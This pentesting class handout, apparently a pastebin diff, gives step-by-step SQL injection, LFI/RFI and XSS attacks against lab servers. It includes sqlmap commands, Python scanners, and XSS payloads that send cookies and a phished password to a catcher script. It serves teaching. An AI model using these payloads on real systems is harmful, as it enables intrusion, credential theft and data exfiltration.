View difference between Paste ID: kYkm3gcw and nVzsHCvJ
SHOW: | | - or go back to the newest paste.
1
###########################################
2
# Advanced Web App Pentester Night School #
3
###########################################
4
5
6
7
8
9
10
#########################
11
# Class Virtual Machine #
12
#########################
13
 
14
 
15
Here is the VMWare virtual machine for the class:
16
 
17
https://s3.amazonaws.com/infosecaddictsvirtualmachines/InfoSecAddictsVM.zip
18
user:      infosecaddicts
19
pass:      infosecaddicts
20
 
21
 
22
Let's have you connect to the VPN. I wanted to make sure that I did some of the stuff on my local virtual machines because I want you to do the hunting for vulnerable hosts to attack.
23
If I attack the live targets in the lab then I'll end up giving away a lot of the little secrets that I want you to discover.
24
 
25
 
26
 
27
 
28
So, let's start with some lab fun (just a little bit)...lol. Here are the instructions for connecting to the VPN:
29
https://s3.amazonaws.com/infosecaddictsfiles/Strategic-Security-2017-VPN-Info.pdf
30
vpn username: {first_initial.last_name}  example: j.mccray
31
vpn password: !@#$vpn4321VPN
32
 
33
 
34
 
35
If you wants some scanning tips you should take a look at the following document:
36
https://s3.amazonaws.com/infosecaddictsfiles/LabNetworkScanningV4.pdf
37
38
39
#######################
40
# Attacking PHP/MySQL #
41
#######################
42
43
Go to LAMP Target homepage in Firefox
44
---------------------------Paste this into Firefox-----------------------------------
45
http://45.63.104.73/
46
-------------------------------------------------------------------------------------
47
48
49
Clicking on the Acer Link will take you to this page:
50
---------------------------Paste this into Firefox-----------------------------------
51
http://45.63.104.73/acre2.php?lap=acer
52
-------------------------------------------------------------------------------------
53
54
55
	- Found parameter passing (answer yes to question 1)
56
	- Insert ' to test for SQLI
57
58
---------------------------Paste this into Firefox-----------------------------------
59
http://45.63.104.73/acre2.php?lap=acer'
60
-------------------------------------------------------------------------------------
61
62
Page returns the following error:
63
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''acer''' at line 1
64
65
66
67
In order to perform union-based sql injection - we must first determine the number of columns in this query.
68
We do this using the ORDER BY
69
---------------------------Paste this into Firefox-----------------------------------
70
http://45.63.104.73/acre2.php?lap=acer' order by 100-- +
71
-------------------------------------------------------------------------------------
72
Page returns the following error:
73
Unknown column '100' in 'order clause'
74
75
76
---------------------------Paste this into Firefox-----------------------------------
77
http://45.63.104.73/acre2.php?lap=acer' order by 50-- +
78
-------------------------------------------------------------------------------------
79
Page returns the following error:
80
Unknown column '50' in 'order clause'
81
82
83
---------------------------Paste this into Firefox-----------------------------------
84
http://45.63.104.73/acre2.php?lap=acer' order by 25-- +
85
-------------------------------------------------------------------------------------
86
Page returns the following error:
87
Unknown column '25' in 'order clause'
88
89
90
---------------------------Paste this into Firefox-----------------------------------
91
http://45.63.104.73/acre2.php?lap=acer' order by 12-- +
92
-------------------------------------------------------------------------------------
93
Page returns the following error:
94
Unknown column '50' in 'order clause'
95
96
97
---------------------------Paste this into Firefox-----------------------------------
98
http://45.63.104.73/acre2.php?lap=acer' order by 6-- +
99
-------------------------------------------------------------------------------------
100
---Valid page returned for 5 and 6...error on 7 so we know there are 6 columns
101
102
103
104
Now we build out the union all select statement with the correct number of columns
105
106
Reference:
107
http://www.techonthenet.com/sql/union.php
108
109
110
---------------------------Paste this into Firefox-----------------------------------
111
http://45.63.104.73/acre2.php?lap=acer' union all select 1,2,3,4,5,6-- +
112
-------------------------------------------------------------------------------------
113
114
115
116
Now we negate the parameter value 'acer' by turning into the word 'null':
117
---------------------------Paste this into Firefox-----------------------------------
118
http://45.63.104.73/acre2.php?lap=null' union all select 1,2,3,4,5,6-- j
119
-------------------------------------------------------------------------------------
120
121
We see that a 4 and a 5 are on the screen. These are the columns that will echo back data
122
123
124
Use a cheat sheet for syntax:
125
http://pentestmonkey.net/cheat-sheet/sql-injection/mysql-sql-injection-cheat-sheet
126
127
---------------------------Paste each of the lines below into Firefox-----------------------------------
128
http://45.63.104.73/acre2.php?lap=null' union all select 1,2,3,user(),5,6-- j
129
130
http://45.63.104.73/acre2.php?lap=null' union all select 1,2,3,user(),version(),6-- j
131
132
http://45.63.104.73/acre2.php?lap=null' union all select 1,2,3,user(),@@version,6-- +
133
134
http://45.63.104.73/acre2.php?lap=null' union all select 1,2,3,user(),@@datadir,6-- +
135
136
137
http://45.63.104.73/acre2.php?lap=null' union all select 1,2,3,user,password,6 from mysql.user -- a
138
-------------------------------------------------------------------------------------
139
140
141
142
########################
143
# Question I get a lot #
144
########################
145
Sometimes students ask about the "-- j" or "-- +" that I append to SQL injection attack string.
146
 
147
Here is a good reference for it:
148
https://www.symantec.com/connect/blogs/mysql-injection-comments-comments
149
 
150
Both attackers and penetration testers alike often forget that MySQL comments deviate from the standard ANSI SQL specification. The double-dash comment syntax was first supported in MySQL 3.23.3. However, in MySQL a double-dash comment "requires the second dash to be followed by at least one whitespace or control character (such as a space, tab, newline, and so on)." This double-dash comment syntax deviation is intended to prevent complications that might arise from the subtraction of negative numbers within SQL queries. Therefore, the classic SQL injection exploit string will not work against backend MySQL databases because the double-dash will be immediately followed by a terminating single quote appended by the web application. However, in most cases a trailing space needs to be appended to the classic SQL exploit string. For the sake of clarity we'll append a trailing space and either a "+" or a letter.
151
152
153
154
155
Here we see parameter passing, but this one is actually a yes to question number 3 (reference a file)
156
---------------------------Paste this into Firefox-----------------------------------
157
http://45.63.104.73/showfile.php?filename=about.txt
158
-------------------------------------------------------------------------------------
159
160
161
See if you can read files on the file system:
162
---------------------------Paste this into Firefox-----------------------------------
163
http://45.63.104.73/showfile.php?filename=/etc/passwd
164
-------------------------------------------------------------------------------------
165
166
We call this attack a Local File Include or LFI.
167
168
Now let's find some text out on the internet somewhere:
169
---------------------------Paste this into Firefox-----------------------------------
170
https://raw.githubusercontent.com/gruntjs/grunt-contrib-connect/master/test/fixtures/hello.txt
171
-------------------------------------------------------------------------------------
172
173
Now let's append that URL to our LFI and instead of it being Local - it is now a Remote File Include or RFI:
174
---------------------------Paste this into Firefox-----------------------------------
175
http://45.63.104.73/showfile.php?filename=https://raw.githubusercontent.com/gruntjs/grunt-contrib-connect/master/test/fixtures/hello.txt
176
-------------------------------------------------------------------------------------
177
178
-----------------Some Automated Testing from the infosecaddicts VM-----------------
179
180
##################################################
181
# You can download the virtual machine from here #
182
##################################################
183
https://s3.amazonaws.com/infosecaddictsvirtualmachines/InfoSecAddictsVM.zip
184
user:      infosecaddicts
185
pass:      infosecaddicts
186
187
188
-------------------------Type each of these commands---------------------------------
189
cd ~/toolz/sqlmap-dev/
190
191
python sqlmap.py -u "http://45.63.104.73/acre2.php?lap=acer" -b -v 3
192
193
194
python sqlmap.py -u "http://45.63.104.73/acre2.php?lap=acer" --current-user -v 3
195
196
197
python sqlmap.py -u "http://45.63.104.73/acre2.php?lap=acer" --current-db -v 3
198
199
200
python sqlmap.py -u "http://45.63.104.73/acre2.php?lap=acer" --privileges -v 3
201
202
203
python sqlmap.py -u "http://45.63.104.73/acre2.php?lap=acer" --dbs -v 3
204
205
206
python sqlmap.py -u "http://45.63.104.73/acre2.php?lap=acer" --tables -v 3
207
208
209
python sqlmap.py -u "http://45.63.104.73/acre2.php?lap=acer" --file-read=/etc/issue -v 3
210
211
212
python sqlmap.py -u "http://45.63.104.73/acre2.php?lap=acer" --file-read=/etc/passwd -v 3
213
-------------------------------------------------------------------------------------
214
215
216
217
218
#############################
219
# Error-Based SQL Injection #
220
#############################
221
---------------------------Paste each of the lines below into Firefox-----------------------------------
222
http://45.77.162.239/bookdetail.aspx?id=2 or 1 in (SELECT DB_NAME(0))--
223
http://45.77.162.239/bookdetail.aspx?id=2 or 1 in (SELECT DB_NAME(1))--
224
http://45.77.162.239/bookdetail.aspx?id=2 or 1 in (SELECT DB_NAME(2))--
225
http://45.77.162.239/bookdetail.aspx?id=2 or 1 in (SELECT DB_NAME(3))--
226
http://45.77.162.239/bookdetail.aspx?id=2 or 1 in (SELECT DB_NAME(4))--
227
http://45.77.162.239/bookdetail.aspx?id=2 or 1 in (SELECT DB_NAME(N))--     NOTE: "N" - just means to keep going until you run out of databases
228
http://45.77.162.239/bookdetail.aspx?id=2 or 1 in (select top 1 name from sysobjects where xtype=char(85))--
229
http://45.77.162.239/bookdetail.aspx?id=2 or 1 in (select top 1 name from sysobjects where xtype=char(85) and name>'bookmaster')--
230
http://45.77.162.239/bookdetail.aspx?id=2 or 1 in (select top 1 name from sysobjects where xtype=char(85) and name>'sysdiagrams')--
231
------------------------------------------------------------------------------------- 
232
 
233
 
234
 
235
#############################
236
# Union-Based SQL Injection #
237
#############################
238
---------------------------Paste each of the lines below into Firefox-----------------------------------
239
http://45.77.162.239/bookdetail.aspx?id=2 order by 100--
240
http://45.77.162.239/bookdetail.aspx?id=2 order by 50--
241
http://45.77.162.239/bookdetail.aspx?id=2 order by 25--
242
http://45.77.162.239/bookdetail.aspx?id=2 order by 10--
243
http://45.77.162.239/bookdetail.aspx?id=2 order by 5--
244
http://45.77.162.239/bookdetail.aspx?id=2 order by 6--
245
http://45.77.162.239/bookdetail.aspx?id=2 order by 7--
246
http://45.77.162.239/bookdetail.aspx?id=2 order by 8--
247
http://45.77.162.239/bookdetail.aspx?id=2 order by 9--
248
http://45.77.162.239/bookdetail.aspx?id=2 union all select 1,2,3,4,5,6,7,8,9--
249
------------------------------------------------------------------------------------- 
250
    We are using a union select statement because we are joining the developer's query with one of our own.
251
    Reference:
252
    http://www.techonthenet.com/sql/union.php
253
    The SQL UNION operator is used to combine the result sets of 2 or more SELECT statements.
254
    It removes duplicate rows between the various SELECT statements.
255
 
256
    Each SELECT statement within the UNION must have the same number of fields in the result sets with similar data types.
257
 
258
---------------------------Paste this into Firefox-----------------------------------
259
http://45.77.162.239/bookdetail.aspx?id=-2 union all select 1,2,3,4,5,6,7,8,9--
260
------------------------------------------------------------------------------------- 
261
    Negating the paramter value (changing the id=2 to id=-2) will force the pages that will echo back data to be displayed.
262
263
---------------------------Paste each of the lines below into Firefox----------------------------------- 
264
http://45.77.162.239/bookdetail.aspx?id=-2 union all select 1,user,@@version,4,5,6,7,8,9--
265
http://45.77.162.239/bookdetail.aspx?id=-2 union all select 1,user,@@version,@@servername,5,6,7,8,9--
266
http://45.77.162.239/bookdetail.aspx?id=-2 union all select 1,user,@@version,@@servername,5,6,db_name(0),8,9--
267
http://45.77.162.239/bookdetail.aspx?id=-2 union all select 1,user,@@version,@@servername,5,6,master.sys.fn_varbintohexstr(password_hash),8,9 from master.sys.sql_logins--
268
------------------------------------------------------------------------------------- 
269
 
270
 
271
 
272
 
273
- Another way is to see if you can get the backend to perform an arithmetic function
274
---------------------------Paste each of the lines below into Firefox-----------------------------------
275
http://45.77.162.239/bookdetail.aspx?id=(2)
276
http://45.77.162.239/bookdetail.aspx?id=(4-2)  
277
http://45.77.162.239/bookdetail.aspx?id=(4-1)
278
------------------------------------------------------------------------------------- 
279
 
280
---------------------------Paste each of the lines below into Firefox----------------------------------- 
281
http://45.77.162.239/bookdetail.aspx?id=2 or 1=1--
282
http://45.77.162.239/bookdetail.aspx?id=2 or 1=2--
283
http://45.77.162.239/bookdetail.aspx?id=1*1
284
http://45.77.162.239/bookdetail.aspx?id=2 or 1 >-1#
285
http://45.77.162.239/bookdetail.aspx?id=2 or 1<99#
286
http://45.77.162.239/bookdetail.aspx?id=2 or 1<>1#
287
http://45.77.162.239/bookdetail.aspx?id=2 or 2 != 3--
288
http://45.77.162.239/bookdetail.aspx?id=2 &0#
289
------------------------------------------------------------------------------------- 
290
 
291
 
292
 
293
 
294
###############################
295
# Blind SQL Injection Testing #
296
###############################
297
Time-Based BLIND SQL INJECTION - EXTRACT DATABASE USER
298
     
299
3 - Total Characters
300
---------------------------Paste each of the lines below into Firefox-----------------------------------
301
http://45.77.162.239/bookdetail.aspx?id=2; IF (LEN(USER)=1) WAITFOR DELAY '00:00:10'--
302
http://45.77.162.239/bookdetail.aspx?id=2; IF (LEN(USER)=2) WAITFOR DELAY '00:00:10'--
303
http://45.77.162.239/bookdetail.aspx?id=2; IF (LEN(USER)=3) WAITFOR DELAY '00:00:10'--      (Ok, the username is 3 chars long - it waited 10 seconds)
304
------------------------------------------------------------------------------------- 
305
Let's go for a quick check to see if it's DBO
306
http://45.77.162.239/bookdetail.aspx?id=2; IF ((USER)='dbo') WAITFOR DELAY '00:00:10'--
307
 
308
Yup, it waited 10 seconds so we know the username is 'dbo' - let's give you the syntax to verify it just for fun.
309
 
310
D  - 1st Character
311
---------------------------Paste each of the lines below into Firefox-----------------------------------
312
http://45.77.162.239/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),1,1)))=97) WAITFOR DELAY '00:00:10'--  
313
http://45.77.162.239/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),1,1)))=98) WAITFOR DELAY '00:00:10'--
314
http://45.77.162.239/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),1,1)))=99) WAITFOR DELAY '00:00:10'--
315
http://45.77.162.239/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),1,1)))=100) WAITFOR DELAY '00:00:10'--  (Ok, first letter is a 100 which is the letter 'd' - it waited 10 seconds)
316
-------------------------------------------------------------------------------------
317
 
318
B - 2nd Character
319
---------------------------Paste each of the lines below into Firefox-----------------------------------
320
http://45.77.162.239/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),2,1)))>97) WAITFOR DELAY '00:00:10'--   Ok, good it waited for 10 seconds
321
http://45.77.162.239/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),2,1)))=98) WAITFOR DELAY '00:00:10'--   Ok, good it waited for 10 seconds
322
-------------------------------------------------------------------------------------
323
 
324
O - 3rd Character
325
---------------------------Paste each of the lines below into Firefox-----------------------------------
326
http://45.77.162.239/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),3,1)))>97) WAITFOR DELAY '00:00:10'--   Ok, good it waited for 10 seconds
327
http://45.77.162.239/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),3,1)))>115) WAITFOR DELAY '00:00:10'--
328
http://45.77.162.239/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),3,1)))>105) WAITFOR DELAY '00:00:10'--      Ok, good it waited for 10 seconds
329
http://45.77.162.239/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),3,1)))>110) WAITFOR DELAY '00:00:10'--      Ok, good it waited for 10 seconds
330
http://45.77.162.239/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),3,1)))=109) WAITFOR DELAY '00:00:10'--
331
http://45.77.162.239/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),3,1)))=110) WAITFOR DELAY '00:00:10'--      
332
http://45.77.162.239/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),3,1)))=111) WAITFOR DELAY '00:00:10'--      Ok, good it waited for 10 seconds
333
------------------------------------------------------------------------------------- 
334
 
335
336
337
************************ Class Homework ************************
338
339
Perform a mock penetration test against http://45.63.104.73 using what you have learned in this pastebin.
340
341
You don't need to document it for me, but go through the steps for your own understanding.
342
343
344
345
346
347
************************ Class Challenge ************************
348
349
Let's see how you do with someone else's vulnerable website. Your 1st target is: http://zero.webappsecurity.com
350
 
351
Here are some sample web app penetration test reports from other companies that you can look at:
352
https://s3.amazonaws.com/infosecaddicts-Files/WebAppSampleReports.zip
353
 
354
I want you to perform a penetration test against http://zero.webappsecurity.com and document the engagement as if it were a real project.
355
356
357
###############################################################################
358
# What is XSS                                                                 #
359
# https://s3.amazonaws.com/infosecaddictsfiles/2-Intro_To_XSS.pptx #
360
###############################################################################
361
 
362
OK - what is Cross Site Scripting (XSS)
363
 
364
1. Use Firefox to browse to the following location:
365
    ---------------------------Paste this into Firefox-----------------------------------
366
    http://45.63.104.73/xss_practice/
367
    -------------------------------------------------------------------------------------
368
    A really simple search page that is vulnerable should come up.
369
 
370
 
371
 
372
 
373
2. In the search box type:
374
   
375
    <script>alert('So this is XSS')</script>
376
 
377
 
378
    This should pop-up an alert window with your message in it proving XSS is in fact possible.
379
    Ok, click OK and then click back and go back to http://45.63.104.73/xss_practice/
380
 
381
 
382
3. In the search box type:
383
   
384
    <script>alert(document.cookie)</script>
385
 
386
 
387
    This should pop-up an alert window with your message in it proving XSS is in fact possible and your cookie can be accessed.
388
    Ok, click OK and then click back and go back to http://45.63.104.73/xss_practice/
389
 
390
4. Now replace that alert script with:
391
 
392
    <script>document.location="http://45.63.104.73/xss_practice/cookie_catcher.php?c="+document.cookie</script>
393
 
394
 
395
This will actually pass your cookie to the cookie catcher that we have sitting on the webserver.
396
 
397
 
398
5. Now view the stolen cookie at:
399
    ---------------------------Paste this into Firefox-----------------------------------
400
    http://45.63.104.73/xss_practice/cookie_stealer_logs.html
401
    -------------------------------------------------------------------------------------
402
 
403
The cookie catcher writes to this file and all we have to do is make sure that it has permissions to be written to.
404
 
405
 
406
 
407
 
408
 
409
 
410
############################
411
# A Better Way To Demo XSS #
412
############################
413
 
414
 
415
Let's take this to the next level. We can modify this attack to include some username/password collection. Paste all of this into the search box.
416
 
417
 
418
Use Firefox to browse to the following location:
419
    ---------------------------Paste this into Firefox-----------------------------------
420
    http://45.63.104.73/xss_practice/
421
    -------------------------------------------------------------------------------------
422
 
423
 
424
Paste this in the search box
425
----------------------------
426
 
427
428
 
429
<script>
430
password=prompt('Your session is expired. Please enter your password to continue',' ');
431
document.write("<img src=\"http://45.63.104.73/xss_practice/passwordgrabber.php?password=" +password+"\">");
432
</script>
433
 
434
 
435
Now view the stolen cookie at:
436
    ---------------------------Paste this into Firefox-----------------------------------
437
    http://45.63.104.73/xss_practice/passwords.html
438
    -------------------------------------------------------------------------------------
439
440
441
442
###############################################################
443
# Question 1: What is the process that you use when you test? #
444
###############################################################
445
446
Step 1: Automated Testing
447
448
Step 1a: Web Application vulnerability scanners
449
-----------------------------------------------
450
- Run two (2) unauthenticated vulnerability scans against the target
451
- Run two (2) authenticated vulnerability scans against the target with low-level user credentials
452
- Run two (2) authenticated vulnerability scans against the target with admin privileges
453
454
The web application vulnerability scanners that I use for this process are (HP Web Inspect, and Acunetix).
455
456
A good web application vulnerability scanner comparison website is here:
457
http://sectoolmarket.com/price-and-feature-comparison-of-web-application-scanners-unified-list.html
458
459
460
Look to see if there are cases where both scanners identify the same vulnerability. Investigate these cases thoroughly, ensure that it is NOT a false positive, and report the issue.
461
462
When you run into cases where one (1) scanner identifies a vulnerability that the other scanner does not you should still investigate these cases thoroughly, ensure that it is NOT a false positive, and report the issue.
463
464
465
Be sure to look for scans that take more than 3 or 4 hours as your scanner may have lost its active session and is probably not actually finding real vulnerabilities anymore.
466
467
468
Also, be sure to save the scan results and logs. I usually provide this data to the customer.
469
470
471
472
Step 1b: Directory Brute Forcer
473
-------------------------------
474
I like to run DirBuster or a similar tool. This is great to find hidden gems (backups of the website, information leakage, unreferenced files, dev sites, etc).
475
476
477
478
Step 2: Manual Testing
479
480
Try to do this step while your automated scans are running. Use Burp Suite or the Tamper Data Firefox extension to browse EVERY PAGE of the website (if this is realistic).
481
482
Step 2a: Spider/Scan the entire site with Burp Suite
483
Save the spider and scan results. I usually provide this data to the customer as well.
484
485
486
Step 2b: Browse through the site using the 3 question method
487
Have Burp Suite on with intercept turned off. Browse the website using the 3 question method that I've taught you in the past. When you find a place in the site where the answer to one of the 3 questions is yes - be sure to look at that individual web request in the target section of Burp Suite, right-click on that particular request and choose 'Send to Intruder'.
488
489
Take the appropriate fuzz list from https://github.com/fuzzdb-project/fuzzdb/ and load it into Intruder. A quick tip for each individual payload is to be sure to send the payload both with and without the parameter value.
490
491
Here is what I mean:
492
http://www.site.com/page.aspx?parametername=parametervalue
493
494
When you are looking at an individual request - often times Burp Suite will insert the payload in place of the parameter value like this:
495
496
http://www.site.com/page.aspx?parametername=[ payload ]
497
498
You need to ensure that you send the payload this way, and like this below:
499
500
http://www.site.com/page.aspx?parametername=parametervalue[ payload ]
501
502
This little hint will pay huge dividends in actually EXPLOITING the vulnerabilities you find instead of just identifying them.
503
504
505
506
507
508
509
510
###########################################
511
# Question 2: How much fuzzing is enough? #
512
###########################################
513
There really is no exact science for determining the correct amount of fuzzing per parameter to do before moving on to something else.
514
515
Here are the steps that I follow when I'm testing (my mental decision tree) to figure out how much fuzzing to do.
516
517
518
Step 1: Ask yourself the 3 questions per page of the site.
519
520
Step 2: If the answer is yes, then go down that particular attack path with a few fuzz strings (I usually do 10-20 fuzz strings per parameter)
521
522
Step 3: When you load your fuzz strings - use the following decision tree
523
524
	- Are the fuzz strings causing a default error message (example 404)?
525
		- If this is the case then it is most likely NOT vulnerable
526
527
	- Are the fuzz strings causing a WAF or LB custom error message?
528
		- If this is the case then you need to find an encoding method to bypass
529
530
531
	- Are the fuzz strings causing an error message that discloses the backend type?
532
		- If yes, then identify DB type and find correct syntax to successfully exploit
533
		- Some example strings that I use are:
534
			'
535
			"
536
			()       	<----- Take the parameter value and put it in parenthesis
537
			(5-1)	 	<----- See if you can perform an arithmetic function
538
539
540
	- Are the fuzz strings rendering executable code?
541
		- If yes, then report XSS/CSRF/Response Splitting/Request Smuggling/etc
542
		- Some example strings that I use are:
543
			<b>hello</b>
544
			<u>hello</u>
545
			<script>alert(123);</script>
546
			<script>alert(xss);</script>
547
			<script>alert('xss');</script>
548
			<script>alert("xss");</script>
549
550
551
552
553
554
555
556
-------------------------------------------------------------------------------------------
557
558
559
############################
560
# Web App Scripting Basics #
561
############################
562
563
1. Simple LFI/RFI 
564
-----------------
565
566
vi lfi-rfi.py
567
--------------------------------
568
#!/usr/bin/env python
569
570
print "\n### PHP LFI/RFI Detector ###"
571
572
573
# urllib2 is a Python module that can be used for fetching URLs. It defines functions and classes to help with URL actions (basic and digest authentication, redirections, cookies, etc) The magic starts with importing the urllib2 module.
574
575
# The module re provides full support for Perl-like regular expressions in Python
576
577
# The module sys contains System-specific parameters and functions
578
579
580
import urllib2,re,sys
581
582
TARGET = "http://45.63.104.73/showfile.php?filename=about.txt"
583
RFIVULN = "https://raw.githubusercontent.com/gruntjs/grunt-contrib-connect/master/test/fixtures/hello.txt?"
584
TravLimit = 12
585
586
print "==> Testing for LFI vulns.."
587
TARGET = TARGET.split("=")[0]+"=" ## URL MANUPLIATION 
588
for x in xrange(1,TravLimit): ## ITERATE THROUGH THE LOOP
589
    TARGET += "../"
590
    try:
591
        source = urllib2.urlopen((TARGET+"etc/passwd")).read() ## WEB REQUEST
592
    except urllib2.URLError, e:
593
        print "$$$ We had an Error:",e
594
        sys.exit(0)
595
    if re.search("root:x:0:0:",source): ## SEARCH FOR TEXT IN SOURCE
596
        print "!! ==> LFI Found:",TARGET+"etc/passwd"
597
        break ## BREAK LOOP WHEN VULN FOUND
598
599
print "\n==> Testing for RFI vulns.."
600
TARGET = TARGET.split("=")[0]+"="+RFIVULN ## URL MANUPLIATION
601
try:
602
    source = urllib2.urlopen(TARGET).read() ## WEB REQUEST
603
except urllib2.URLError, e:
604
    print "$$$ We had an Error:",e
605
    sys.exit(0)
606
if re.search("Hello world",source): ## SEARCH FOR TEXT IN SOURCE
607
    print "!! => RFI Found:",TARGET
608
    
609
print "\nScan Complete\n" ## DONE
610
611
--------------------------------
612
613
614
615
616
2. Simple SQL Injection 
617
-----------------------
618
619
vi sqli.py
620
--------------------------------
621
#!/usr/bin/env python
622
print "\n### PHP SQLi Detector ###"
623
import urllib2,re,sys
624
625
TARGET = "http://45.63.104.73/acre2.php?lap=acer"
626
627
SQLi = "%27"
628
SQLiError = "You have an error in your SQL"
629
myNameInHex = "0x6a6f65"
630
myName = 'joe'
631
632
print "==> Testing for SQLi Error Vuln..."
633
URL = TARGET+SQLi
634
try:
635
	source = urllib2.urlopen(URL).read() ## WEB REQUEST
636
except urllib2.URLError, e:
637
	print "$$$ We had an Error\n",e
638
	sys.exit(0)
639
if re.search(SQLiError,source): ## SEARCH FOR ERROR IN PAGE
640
	print "!! ==> SQLi Found:",TARGET+SQLi
641
	print "## ==> Bruting NULL column...",
642
URL = TARGET+SQLi+"%20UNION%20SELECT%20"+myNameInHex ## BUILD OUR SQLi STATEMENT
643
for x in xrange(1,10):
644
	if x > 1:
645
		URL = URL+","
646
		URL = URL+myNameInHex
647
		print x,
648
		print URL
649
		try:
650
			source = urllib2.urlopen((URL+"--%20j")).read() ## WEB REQUEST
651
		except urllib2.URLError, e:
652
			print "$$$ We had an Error\n",e
653
			sys.exit(0)
654
		if re.search(myName, source): ## SEARCH FOR UNENCODED NULL WORD
655
			print "\n!! ==> Null Column Found:",URL+"--"
656
			break
657
else:
658
	print "** ==> No SQLi Found!"
659
print "\nScan Complete\n"
660
--------------------------------